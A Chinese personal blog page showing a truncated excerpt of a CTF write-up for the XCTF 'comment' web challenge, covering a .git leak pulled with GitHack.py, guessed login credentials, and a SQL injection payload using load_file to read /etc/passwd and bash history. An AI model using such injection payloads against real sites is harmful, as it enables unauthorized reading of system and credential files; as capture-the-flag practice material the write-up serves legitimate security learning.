刘功瑞的博客

有一天你突然惊醒，发现这一切，都只不过是一场梦。

2019年12月13日

XCTF 攻防世界 web进阶 comment WriteUp（代码审计,git泄露,sql注入）

git泄露python GitHack.py http://xxxxxxxx/.git根据提示去猜解爆破即可user：zhangwei pass：zhangwei666代码审计后发现注入点查询/etc/passwd ： ',content=(select load_file('//etc/passwd')),/*闭合查询语句得到结果以此方法继续查询/bin/bash_history   :  ',content=(select loa
作者:admin , 分类:CTF , 浏览:640 , 评论:0
‹‹ 1 ››

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.